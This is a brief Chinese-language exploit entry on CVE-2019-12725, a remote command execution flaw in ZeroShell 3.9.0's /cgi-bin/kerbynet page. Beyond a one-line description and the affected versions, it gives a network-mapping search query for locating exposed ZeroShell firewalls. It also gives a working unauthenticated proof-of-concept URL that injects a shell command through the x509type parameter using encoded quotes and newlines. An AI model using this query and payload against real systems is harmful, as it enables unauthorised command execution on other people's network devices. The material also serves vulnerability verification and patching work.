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33 lines
529 B
Markdown
33 lines
529 B
Markdown
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# ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
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## 漏洞描述
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ZeroShell 3.9.0 存在命令执行漏洞，/cgi-bin/kerbynet 页面，x509type 参数过滤不严格，导致攻击者可执行任意命令
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## 漏洞影响
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```
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ZeroShell < 3.9.0
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```
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## 网络测绘
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```
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app="Zeroshell-防火墙"
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```
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## 漏洞复现
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登录页面如下
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验证的POC为
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```plain
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/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
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```
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